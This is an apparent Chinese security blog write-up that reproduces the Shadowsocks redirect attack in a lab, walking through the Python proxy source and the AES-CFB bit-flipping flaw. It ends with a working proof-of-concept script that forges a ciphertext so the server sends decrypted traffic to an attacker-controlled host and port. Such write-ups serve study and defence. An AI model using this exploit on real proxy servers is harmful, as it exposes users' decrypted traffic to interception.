freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Shadowsocks 重定向攻击
2023-02-09 10:25:18
所属地 广东省

Shadowsocks 重定向攻击

最近复现了一个比较老的洞,因为涉及到密码学相关的攻击,刚好前段时间也在学习通讯协议相关的知识,于是就比较感兴趣。

先总体概括一下,漏洞成因是因为 Shadowsocks 的作者默认使用了一个不合适的密码组件(使用者是可以自己再重新指定的),导致中间人可以利用 Shadowsocks 的服务端将解密后的流量随意重定向(这样中间人就能看到解密后的流量了)。不过涉及中间人对流量的劫持、篡改、重放,因此在实践操作中利用起来还是比较困难的。

复现参考的文章是https://blog.soreatu.com/posts/analyasis-of-shadowsocks-and-related-attack/#redirect-attack,祥哥这篇文章已经是记录的较为详实了,但是在复现过程中自己也是遇到了一些问题,于是在此记录。

转发流程

不论是什么代理工具,总的流程都是一致的,在整个框架中,有这么几个角色,分别是用户、目标网站、代理服务器、代理软件。

然后是这么个场景,用户想访问目标网站,但是由于某些限制用户不能直接访问目标网站,不过用户可以访问代理服务器,而代理服务器可以访问目标网站,于是用户则借用代理软件通过代理服务器来访问目标网站的资源。

那么用户具体是如何通过代理软件访问到目标网站上的资源呢?首先用户在本地使用代理软件的客户端,在代理服务器上安装使用代理软件的服务端。当用户像请求目标网站时,会设置代理,那么流量就会先经过客户端,客户端里再将流量转发到服务端上,服务端接收到流量后再将流量转发到目标网站上。目标网站收到请求后给出回应到服务端,服务端再将流量转发到客户端,客户端再将流量转发给用户。

那么存在几个问题,服务端是如何知道用户想要访问的目标网站?客户端传输到服务端的流量是明文传输么?客户端是怎么知道服务端在哪儿的?

那么针对 Shadowsocks,笔者暂时可以给出这样的回答,客户端在对用户的流量包进行封装的时候,会在最前方加入用户的想访问的目标网站的信息,并且,客户端到服务端的流量都是加密的,而相应的配置用户需要提前在客户端和服务端进行配置,包括服务端所在的ip,端口,服务端和客户端加密使用的密钥,加密使用的密码体制。

因此我们可以大致画出这样的一个流程图


data       encrypt(info of target | data) --> cipher


user    -------------------->    client
|
|
(encrypted)
|
V   
target  <--------------------     server
data       decrypt(cipher) --> info of target | data

由于客户端肯定是在用户本地,并且请求和返回肯定是在一次连接内,服务端并不需要对消息进行额外的封装(服务端也不知道用户的地址信息),只进行加密


data       decrypt(cipher) --> data


user    <--------------------    client
^
|
(encrypted)
|
|   
target  -------------------->    server
data       encrypt(data) --> cipher


那么作为中间人,正常来说我们是没法知道用户的请求内容和网站的返回内容,因为我们并不知道代理软件所用的加密密钥,也就没法解密流量。

但是,我们是否有机会在不解密密文的情况下控制明文呢?废话少说,先抓个包看看具体结构再说。

环境搭建

抓包之前当然是要搭建环境了,本次我们分析的是python版本,所以先下载源码https://github.com/shadowsocks/shadowsocks/tree/master

然后为了方便,使用下列配置在本地同时开启了客户端和服务端,

{

"server":"127.0.0.1",
"server_port":8388,
"local_port":1081,
"password":"aes_password",
"timeout":60,
"method":"aes-256-cfb",
"local_address":"127.0.0.1",
"fast_open":false
}

然后在自己的vps上的8000端口开启了web服务作为目标网站

clinet: 127.0.0.1 1081
server: 127.0.0.1 8388target: x.x.x.x   8000

1675909151_63e4581f9395ea82291c0.png!small?1675909153040

抓包分析

尝试使用代理访问vps上的flag文件

import requests

url = "http://49.235.117.239:8000/flag.txt"proxies = {
'http':  "socks5://127.0.0.1:1081",
'https': "socks5://127.0.0.1:1081"
}
resp = requests.get(url, proxies=proxies)
print(resp.content)


wireshak开启抓包,过滤规则为:tcp.flags.push == 1 && (tcp.port == 1081 || tcp.port == 8388)

1675909163_63e4582b6b26c022f8d51.png!small?1675909163972

运行脚本得到

1675909168_63e4583082656ad436056.png!small?1675909168995

捕获流量如下

1675909177_63e4583900b3b1b262432.png!small?1675909177505

根据info我们大致可以判断,

用户(脚本)起了一个1872端口,16578-16584这四个包应该是脚本在和客户端(1081端口)进行socket握手,

随后用户向客户端发起了 GET 请求。随后客户端起了一个端口 1873 向服务端(8388端口)发送了流量,根据长度可以看到是多了23个字节,应该是封装+加密,

随后(这一部分由于监听网卡的原因在这里没有捕获到)服务端会解密然后向目标网站发送请求,目标网站回复后,服务端进行加密,

(16597包)服务端向客户端发送加密流量

最后客户端进行解密再向用户发送明文,可以看到解密后长度少了16字节(熟悉分组密码的话大概可以猜到会是少了16字节的iv向量)

源码分析

客户端

在了解到这样一个大致流程之后,我们根据每一个步骤,找到相应的源码,尝试进行更细节的分析。

首先是和客户端的socket的握手,总共有两次请求和两次应答,分别是

客户端第一次请求,格式为 版本号+方法占用字节+方法,这里我们是 05 01 00

服务端第一次回复,格式为 版本号+方法,这里我们是 05 00 ,00 说明 服务端连接无需经过验证

客户端第二次请求,格式为 版本号+CMD+保留字段 RSV+目标地址类型 ATYP+ 目标地址ADDR + 目标端口 DST.PORT,这里我们是

05 01 00 01 31 eb 75 ef 1f 40,

版本号是5,01是建立连接,00默认,01说明是IPV4地址类型,0x31,0xeb,0x75,0xef 是 ip 各个端的十六进制,0x1f40 说明是8000端口

服务端第二次回复,格式为 版本号+回复字段 REP+保留字段 PSV+目标地址类型 ATYP+ 服务器绑定地址ADDR + 服务器绑定端口 BND.PORT,这里我们是 05 00 00 01 00 00 00 00 10 10

版本号是5,00 表示连接成功,默认保留字段00 ,01 说明是IPV4地址,00 00 00 00 说明绑定地址是0.0.0,0x1010 绑定的端口是4112(为啥是这个嘞)

那么定位相应源码,首先是local.py:main,会将 tcp_server 加入 loop,随后loop.run

defmain():
...dns_resolver = asyncdns.DNSResolver()
tcp_server = tcprelay.TCPRelay(config, dns_resolver, True)
udp_server = udprelay.UDPRelay(config, dns_resolver, True)
loop = eventloop.EventLoop()
dns_resolver.add_to_loop(loop)
tcp_server.add_to_loop(loop)
udp_server.add_to_loop(loop)
...
loop.run

定位到eventloop.py:run,会循环获取pool中的事件,获取句柄调用其handle_event方法,

defrun(self):
events

= []
whilenotself._stopping:
asap = False
try:
events = self.poll(TIMEOUT_PRECISION)
except(OSError, IOError) as e:
...
forsock, fd, event inevents:
handler = self._fdmap.get(fd, None)
ifhandler isnotNone:
handler = handler[1]
try:
handler.handle_event(sock, fd, event)
except(OSError, IOError) as e:
shell.print_exception(e)

这里由于我们发起了tcp连接,所以我们定位tcprelay.py

看到TCPRelay的初始化方法

classTCPRelay(object):

def__init__(self, config, dns_resolver, is_local, stat_callback=None):
...
ifis_local:
listen_addr = config['local_address']
listen_port = config['local_port']
else:
listen_addr = config['server']
listen_port = config['server_port']
self._listen_port = listen_port
addrs = socket.getaddrinfo(listen_addr, listen_port, 0,
socket.SOCK_STREAM, socket.SOL_TCP)
iflen(addrs) == 0:
raiseException("can't get addrinfo for %s:%d" %
(listen_addr, listen_port))
af, socktype, proto, canonname, sa = addrs[0]
server_socket = socket.socket(af, socktype, proto)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(sa)
server_socket.setblocking(False)
ifconfig['fast_open']:
try:
server_socket.setsockopt(socket.SOL_TCP, 23, 5)
exceptsocket.error:
logging.error('warning: fast open is not available')
self._config['fast_open'] = False
server_socket.listen(1024)
self._server_socket = server_socket
self._stat_callback = stat_callback

会起一个 server_socket 开启监听(等待用户连接)

当用户连接后,就是我们前面说的,会触发其event_handle方法

defhandle_event(self, sock, fd, event):

# handle events and dispatch to handlers
ifsock:
logging.log(shell.VERBOSE_LEVEL, 'fd %d %s', fd,
eventloop.EVENT_NAMES.get(event, event))
ifsock == self._server_socket:
ifevent & eventloop.POLL_ERR:
# TODO
raiseException('server_socket error')
try:
logging.debug('accept')
conn = self._server_socket.accept()
TCPRelayHandler(self, self._fd_to_handlers,
self._eventloop, conn[0], self._config,
self._dns_resolver, self._is_local)
except(OSError, IOError) as e:
error_no = eventloop.errno_from_exception(e)
iferror_no in(errno.EAGAIN, errno.EINPROGRESS,
errno.EWOULDBLOCK):
return
else:
shell.print_exception(e)
ifself._config['verbose']:
traceback.print_exc()

此时 sock 是 self.serversocket,一切正常的情况下,就会初始化一个 TCPRelayHandler() 对象,跟过去看他的init方法

几个重要的点,stage 初始化为 STAGEINIT,客户端与用户的连接(localsock)加入了循环,并且将自身与localsock绑定

self._stage = STAGE_INIT
...fd_to_handlers[local_sock.fileno()] = self
...
loop.add(local_sock, eventloop.POLL_IN | eventloop.POLL_ERR,self._server)

然后就又回到loop.run,这一次调用的handler就是localsock绑定的这个handler(也就是TCPRelayHandler)的handlerevent

defhandle_event(self, sock, event):

# handle all events in this handler and dispatch them to methods
ifself._stage == STAGE_DESTROYED:
logging.debug('ignore handle_event: destroyed')
return
# order is important
ifsock == self._remote_sock:
...
elifsock == self._local_sock:
ifevent & eventloop.POLL_ERR:
self._on_local_error()
ifself._stage == STAGE_DESTROYED:
return
ifevent & (eventloop.POLL_IN | eventloop.POLL_HUP):
logging.info("read from local")
self._on_local_read()

ifself._stage == STAGE_DESTROYED:
return
ifevent & eventloop.POLL_OUT:
logging.info("wrting to local")
self._on_local_write()
else:
logging.warn('unknown socket')

此时,会进入到 self.localsock 分支,从用户那里读取第一次的握手消息,由于我们的 self._stage = STAGE_INIT

def_on_local_read(self):

try:
data = self._local_sock.recv(BUF_SIZE)
...
elifis_local andself._stage == STAGE_INIT:
# TODOcheck auth method
self._write_to_sock(b'\x05\00', self._local_sock)
self._stage = STAGE_ADDR
return
...

显然,这里处理的就是用户第一次请求和客户端第一次应答,然后 self.stage = STAGEADDR

那么再一次获取到用户的请求后,则执行

elif(is_local andself._stage == STAGE_ADDR) or\
(

notis_local andself._stage == STAGE_INIT):
self._handle_stage_addr(data)

由于这里要根据各种指令以不同方式进行解析,所以重新封装了一个方法,这里我们的CMD是00,也就是请求连接

...

elifcmd == CMD_CONNECT:
# just trim VER CMD RSV
data = data[3:]
else:
logging.error('unknown command %d', cmd)
self.destroy()
return
header_result = parse_header(data)
ifheader_result isNone:
raiseException('can not parse header')
addrtype, remote_addr, remote_port, header_length = header_result

parse_header是解析地址的方法,具体具体地址类型(ipv4,ipv6,域名)来进行读取

defparse_header(data):
addrtype

= ord(data[0])
dest_addr = None
dest_port = None
header_length = 0
ifaddrtype == ADDRTYPE_IPV4:
iflen(data) >= 7:
dest_addr = socket.inet_ntoa(data[1:5])
dest_port = struct.unpack('>H', data[5:7])[0]
header_length = 7
else:
logging.warn('header is too short')
elifaddrtype == ADDRTYPE_HOST:
iflen(data) > 2:
addrlen = ord(data[1])
iflen(data) >= 2 + addrlen:
dest_addr = data[2:2 + addrlen]
dest_port = struct.unpack('>H', data[2 + addrlen:4 +
addrlen])[0]
header_length = 4 + addrlen
else:
logging.warn('header is too short')
else:
logging.warn('header is too short')
elifaddrtype == ADDRTYPE_IPV6:
iflen(data) >= 19:
dest_addr = socket.inet_ntop(socket.AF_INET6, data[1:17])
dest_port = struct.unpack('>H', data[17:19])[0]
header_length = 19
else:
logging.warn('header is too short')
else:
logging.warn('unsupported addrtype %d, maybe wrong password or '
'encryption method' % addrtype)
ifdest_addr isNone:
returnNone
returnaddrtype, to_bytes(dest_addr), dest_port, header_length

之后进入 is_local分支

ifself._is_local:

# forward address to remote
self._write_to_sock((b'\x05\x00\x00\x01'
b'\x00\x00\x00\x00\x10\x10'),
self._local_sock)
data_to_send = self._encryptor.encrypt(data)
self._data_to_write_to_remote.append(data_to_send)
# notice here may go into _handle_dns_resolved directly
self._dns_resolver.resolve(self._chosen_server[0],
self._handle_dns_resolved)

于是就知道为什么根据数据包里捕获到客户端的回复中,绑定的ip和端口是0.0.0.0:4112了,原来这里直接写死了,并没有根据实际情况进行返回。(这里也许可以改进一下)

(这里之所以要把地址信息(也就是data)加密后放进 self.datatowritetoremote.append(datato_send),其实就已经在开始封装接下来要发送的消息了)

然后应该要和服务端进行连接了,看到dnsresolver.resolve

defresolve(self, hostname, callback):

iftype(hostname) != bytes:
hostname = hostname.encode('utf8')
ifnothostname:
callback(None, Exception('empty hostname'))
elifcommon.is_ip(hostname):
# logging.info(hostname)
callback((hostname, hostname), None)
...

这里我们的hostname是ip,所以执行回调函数,也就是 handledns_resolved,比较核心的就是

remote_sock.connect((remote_addr, remote_port))
...

self._loop.add(remote_sock,eventloop.POLL_ERR | eventloop.POLL_OUT,self._server)
self._stage = STAGE_CONNECTING
...

那么loop里有一个新的连接了。正常来说下一步应该是接受用户的数据,然后加密,然后发送给服务端了。此时TCPRelayHandler会再次进入 self.onlocal_read(),

elif self._stage == STAGE_CONNECTING:
self._handle_stage_connecting(data)

接收到信息后 根据 stage 进入 _handlestage_connecting

def _handle_stage_connecting(self, data):
if self._is_local:data = self._encryptor.encrypt(data)
self._data_to_write_to_remote.append(data)
if self._is_local and not self._fastopen_connected and \
self._config['fast_open']:

那么由于这里还是满足 islocal(表示这是客户端),所以信息会先加密,但由于config并没有配置 fastopen,所以直接返回了,根据调试发现,随后loop里有了一个新的event,值是4,也就是表示eventloop.POLLOUT,于是进入方法 onremote_write()

def_on_remote_write(self):

# handle remote writable event
self._stage = STAGE_STREAM
ifself._data_to_write_to_remote:
data = b''.join(self._data_to_write_to_remote)
self._data_to_write_to_remote = []
self._write_to_sock(data, self._remote_sock)

改变了 self.stage = STAGESTREAM,然后将 datatowriteto_remote 数组里面的值全部发送给了服务端

此时,datatowriteto_remote 里的值为 encrypt(ATYPE+IP+PORT+DATA)

我们简单看一下加密方法,首先会载入配置文件设定的密码和加密方法,

self._encryptor = encrypt.Encryptor(config['password'],
config['method'])
# encrypt.py
def encrypt(self, buf):
if len(buf) == 0:
return buf
if self.iv_sent:
return self.cipher.update(buf)
else:
self.iv_sent = True
return self.cipher_iv + self.cipher.update(buf)

那么这里就是将消息按照指定的方法进行加密,然后拼接上iv,将数据返回。于是最终用户向客户端发送的数据,在客户端发送给服务端时则封装为

iv+encrypt(atype|ip|port|data)

其中,由于我们选择的是默认的aes-256-cfb方法,加密后不会填充,于是封装后的消息长度等于 16+7 + len(data),这就与我们之前抓到的数据包的长度变化吻合了。

然后就是服务端的接收、向目标网站发送请求、对客户端进行回复,

收到服务端的消息后我们进入分支

ifsock == self._remote_sock:
...


ifevent & (eventloop.POLL_IN | eventloop.POLL_HUP):
logging.info("read from remote")
self._on_remote_read()

def_on_remote_read(self):
data = self._remote_sock.recv(BUF_SIZE)
...
ifself._is_local:
data = self._encryptor.decrypt(data)
try:
self._write_to_sock(data, self._local_sock)

那么客户端会先将消息解密,随后发送给用户。

至此,我们对客户端这里的处理逻辑分析清楚了。

首先用户向客户端发起第一次socket握手

客户端进行第一次回复

用户向客户端发送目的地址的相关信息

客户端保存相关信息并加密,放入待发送消息队列;和服务端建立连接;然后对用户进行第二次回复

用户向客户端发送对目的地址的相关请求

客户端对消息进行加密,放入待发送消息队列,然后将整个消息队列发送给服务端

下面是笔者在审计代码时加入的一些额外的注释,可以更方便的看清整个流程

INFO: loading config from config.json
2023-01-12 17:03:02 WARNING  warning: server set to listen on 127.0.0.1:8388, are you sure?2023-01-12 17:03:02 WARNING  warning: your timeout 60 seems too short
2023-01-12 17:03:02 INFO     loading libcrypto from C:\Windows\System32\libcrypto.dll
2023-01-12 17:03:02 INFO     starting local at 127.0.0.1:1081
2023-01-12 17:03:02 DEBUG    server_socket <socket.socket fd=536, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 1081)>
2023-01-12 17:03:02 DEBUG    using event model: select
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=536, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 1081)>,fd: 536, event: 1
2023-01-12 17:03:04 DEBUG    accept
2023-01-12 17:03:04 DEBUG    chosen server: 127.0.0.1:8388
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'\x05\x01\x00'
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'\x05\x00'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'\x05\x01\x00\x011\xebu\xef\x1f@'
2023-01-12 17:03:04 INFO     connecting 49.235.117.239:8000 from 127.0.0.1:64393
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'\x05\x00\x00\x01\x00\x00\x00\x00\x10\x10'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'GET /flag.txt HTTP/1.1\r\nHost: 49.235.117.239:8000\r\nUser-Agent: python-requests/2.26.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 4
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    writing to remote
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)> b'\xb1\x98\xfe\x97\xcdv\x1d\xec-\xcb\xe4\xc7P\x86\xdf\x15~\xaa\xf7\x9cc\x19\xd2R\xb3!\xaf\xd3\x86q\xf1L`\x1c\x81;d\xa5%\x19\xd9\xa4\xe7\xb0\x04M\x9d\xbc\xc7\xf8\xcchH\x8c\xce\xec\xf2\xb8H7\xaa\xcdY\xa6\xccq\x99\xac\x1f9h\xdd\x08O\xad\r\xf3\xedH\x94\xf7\x1f\x94\xa1\x04\xfc\xda!9\x1f\xde\x88\xb0s%\xca\xdb\xc93\xac\x92N\x12 #\xbaw\x89Wt\x1d[\xf8\x88O{\x99Mg\xe5\xe8M\x88\x82!\xae\xff\xb3p\xe8_\x01\x7f\x91U=\tJ\x937\xb2\x9d\x02D\x0f\x03Y\xb5 \xa5M7\xc6Jkmf|\xf3\\\x16H\xd0{\xf9\x91\xfa9\xcd\x87\xb3\x98\xafX\x0f\xefcy\xdb\x12\xbe'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    read from remote
2023-01-12 17:03:04 DEBUG    debug read from remote
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'HTTP/1.0 200 OK\r\nServer: SimpleHTTP/0.6 Python/3.6.8\r\nDate: Thu, 12 Jan 2023 09:03:04 GMT\r\nContent-type: text/plain\r\nContent-Length: 18\r\nLast-Modified: Wed, 04 Jan 2023 08:53:15 GMT\r\n\r\nflag{you_got_it!}\n'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    read from remote
2023-01-12 17:03:04 DEBUG    debug read from remote
2023-01-12 17:03:04 DEBUG    destroy: 49.235.117.239:8000
2023-01-12 17:03:04 DEBUG    destroying remote
2023-01-12 17:03:04 DEBUG    destroying local

服务端

接下来我们分析服务端的处理逻辑,服务端做的事情可以划分为:

  1. 接受客户端的消息并解密
  2. 前七个字节是目标网站的信息,于是服务端向目标网站发起连接,然后向目标网站发送解密后七个字节之后的消息
  3. 接受目标网站的回复
  4. 将回复加密后发送给客户端

在代码层面和客户端其实没有很大差别,主要调用的也是TCPrelay这一块的代码,区别就是在于标志符 islocal,主要区别我们注意到 _onlocal_read 这个函数

def_on_local_read(self):

# handle all local read events and dispatch them to methods for
# each stage
ifnotself._local_sock:
return
is_local = self._is_local
data = None
try:
data = self._local_sock.recv(BUF_SIZE)
except(OSError, IOError) as e:
ifeventloop.errno_from_exception(e) in\
(errno.ETIMEDOUT, errno.EAGAIN, errno.EWOULDBLOCK):
return
ifnotdata:
self.destroy()
return
logging.debug("read local data: %s" % data)
self._update_activity(len(data))
ifnotis_local:
data = self._encryptor.decrypt(data)
ifnotdata:
return
ifself._stage == STAGE_STREAM:
ifself._is_local:
data = self._encryptor.encrypt(data)
self._write_to_sock(data, self._remote_sock)
return
elifis_local andself._stage == STAGE_INIT:
# TODOcheck auth method
self._write_to_sock(b'\x05\00', self._local_sock)
self._stage = STAGE_ADDR
return
elifself._stage == STAGE_CONNECTING:
self._handle_stage_connecting(data)
elif(is_local andself._stage == STAGE_ADDR) or\
(notis_local andself._stage == STAGE_INIT):
self._handle_stage_addr(data)

我们知道,服务端第一次收到客户端消息的时候,消息内容是 iv+encrypt(atype|ip|port|data),于是,第一步肯定是对其进行解密

ifnotis_local:
data

= self._encryptor.decrypt(data)

解密后得到 atype|ip|port|data,此时 self.stage == STAGEINIT(因为是第一次接收到消息),因此进入self._handle_stage_addr(data) 函数

def_handle_stage_addr(self, data):

try:
ifself._is_local:
...
elifcmd == CMD_CONNECT:
# just trim VER CMD RSV
data = data[3:]
else:
logging.error('unknown command %d', cmd)
self.destroy()
return
header_result = parse_header(data)
ifheader_result isNone:
raiseException('can not parse header')
addrtype, remote_addr, remote_port, header_length = header_result
logging.info('connecting %s:%d from %s:%d' %
(common.to_str(remote_addr), remote_port,
self._client_address[0], self._client_address[1]))

self._remote_address = (common.to_str(remote_addr), remote_port)
self._update_stream(STREAM_UP, WAIT_STATUS_WRITING)
self._stage = STAGE_DNS
ifself._is_local:
...
else:
iflen(data) > header_length:
self._data_to_write_to_remote.append(data[header_length:])
# notice here may go into _handle_dns_resolved directly
self._dns_resolver.resolve(remote_addr,
self._handle_dns_resolved)
exceptException as e:
self._log_error(e)
ifself._config['verbose']:
traceback.print_exc()
self.destroy()

由于此时是服务端,因此直接进入 parseheader 函数进行解析,得到 addrtype, remoteaddr, remoteport, headerlength,那么根据前面的经验,接下来就是服务端与目标网站建立连接,随后将用户的消息(data)发送给目标网站,再接收回复,再加密,再发送给客户端。

def_on_remote_read(self):

# handle all remote read events
data = None
try:
data = self._remote_sock.recv(BUF_SIZE)

except(OSError, IOError) as e:
...
ifself._is_local:
data = self._encryptor.decrypt(data)
else:
data = self._encryptor.encrypt(data)
try:
self._write_to_sock(data, self._local_sock)
...

于是我们就从代码层面完成了对整个代理流程的分析,那么,问题出现在哪儿呢?

漏洞成因

我们注意到,客户端会将消息解密并发送给用户,而服务端会将消息解密发送给指定的地址,而这个指定的地址则是解密后通过parse_header 解析得到。那么如果我们能够在无法解密的情况下对这个地址进行操控,我们是否就能让服务端将解密后的信息发送到任意我们指定的地址,我们也就能够获得解密后的信息了。

那么如何 在无法解密的情况下对这个地址进行操控呢?注意到我们选择的默认加密模式为 aes-256-cfb

1675909300_63e458b4b7f82430c418b.png!small?1675909301425

可以看到是类似于流密码,而我们知道,由于异或运算的特性,流密码是无法抵抗已知明文攻击的,那么我们知道哪些明文呢?

显然,服务端最终发送给客户端的加密消息格式为 IV + encrypt(data)其中,IV是16个字节,剩下的data,由于HTTP响应包的格式基本上就是HTTP/1.1 200 OK\r\nHost,因此,我们是能够得到图中的  的,也就是 IV 经过AES 加密后的值。我们设明文为 ,密文为 ,想要将数据篡改为 ,于是

由 ,其中  均已知,因此

所以我们只需要将密文  篡改为  即可

由于控制地址部分是七个字节(Atype +ip +port )于是,我们设待破解密文为 IV + encrypt(“HTTP/1.” )+ encrypt(data)

那么我们重新构造密文为 $IV+encrypt("HTTP/1." ) \oplus "HTTP/1." \oplus (Atype+ip+port) + padding(9字节)+IV + encrypt(“HTTP/1.” )+ encrypt(data)$

然后将该数据发送给服务端,服务端收到解密后,将得到消息

前面七个字节是我们控制的地址,然后是9个字节填充解密后的乱码,然后是16个字节IV解密后的乱码,剩下来就是对数据的正常解密。

然后服务端就会与我们控制的地址建立连接,将后续包括解密填充的乱码、解密IV的乱码、解密后的正常数据全部发送过去。那么至此我们就完成了解密数据的重定向,换句话说,我们在没有解密密钥的情况下,获得了数据明文。

漏洞演示

我们抓下服务端最后发送给客户端的加密消息

1675909310_63e458bebe0033d09ace2.png!small?1675909311445

然后在我自己的服务器上开了一个9999端口进行监听

运行 python 脚本,

from Crypto.Util.number import *
import

socket
import time
defxor(a, b):
returnbytes(x^y forx,y inzip(a,b))
defip2hex(ip):
ip = ip.split(".")
res = b"".join(long_to_bytes(int(i)) fori inip)
returnres
data = bytes.fromhex("bf988dd6c949f977528ec6449edcc615f0f472be1745a3bb603f60a9e089caa16af7faa5bfcede63be4fe1ef069185da0a251ef80f62ad74ae3103736305f195a40e1487888ba7e9480e6ba66b6b91f91467da5161bf4a5783bb85034f8e4c6ec269b1c4e827551cf40903b3ec4e7e051f0a68a36b3b27994a758cd49ce013853ede7fd240d4928ed02ef8d6b1bf043396eabd7d9e08d44aa687fcd6c967d68b16c96d40e461b0992314ac043d924bd58c011c55300ddd28d8e6d9c4c4eea410404f9e2b65783f5b1bd29b9afff8147eac1eddcc93288fbdfb827f")
x1 = b"HTTP/1."
x2 = b"\x01" + ip2hex("xx.xx.xx.xx") + long_to_bytes(9999,2)
new_data  = data[:16] + xor(xor(x1, x2), data[16:16+7]) + b"\x00"*(9) + data
sh = socket.socket()
sh.connect(("127.0.0.1", 8388))
sh.send(new_data)
time.sleep(20)

在服务器9999端口成功收到解密后的消息(可以看到在正常消息前会有一小段乱码)

1675909320_63e458c846bf73052023f.png!small?1675909321263

踩坑记录

在复现的时候踩到一个坑,由于我们是使用python脚本和服务端进行直接通信的,我们在运行完最后一行send后,不能立刻结束脚本,否则脚本和服务端的连接就会断开,而一旦脚本和服务端的连接断开了,服务端也会立刻终止与目标网站的通信(在向目标网站发送解密消息之前)。

defdestroy(self):

# destroy the handler and release any resources
# promises:
# 1. destroy won't make another destroy() call inside
# 2. destroy releases resources so it prevents future call to destroy
# 3. destroy won't raise any exceptions
# if any of the promises are broken, it indicates a bug has been
# introduced! mostly likely memory leaks, etc
ifself._stage == STAGE_DESTROYED:
# this couldn't happen
logging.debug('already destroyed')
return
self._stage = STAGE_DESTROYED
ifself._remote_address:
logging.debug('destroy: %s:%d' %
self._remote_address)
else:
logging.debug('destroy')
ifself._remote_sock:
logging.debug('destroying remote')
self._loop.remove(self._remote_sock)
delself._fd_to_handlers[self._remote_sock.fileno()]
self._remote_sock.close()
self._remote_sock = None
ifself._local_sock:
logging.debug('destroying local')
self._loop.remove(self._local_sock)
delself._fd_to_handlers[self._local_sock.fileno()]
self._local_sock.close()
self._local_sock = None
self._dns_resolver.remove_callback(self._handle_dns_resolved)
self._server.remove_handler(self)

因此我们需要让脚本再阻塞一会,等待消息被解密发送完成后再结束脚本,也就是脚本最后一行 time.sleep()的用意。

# 密码学
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录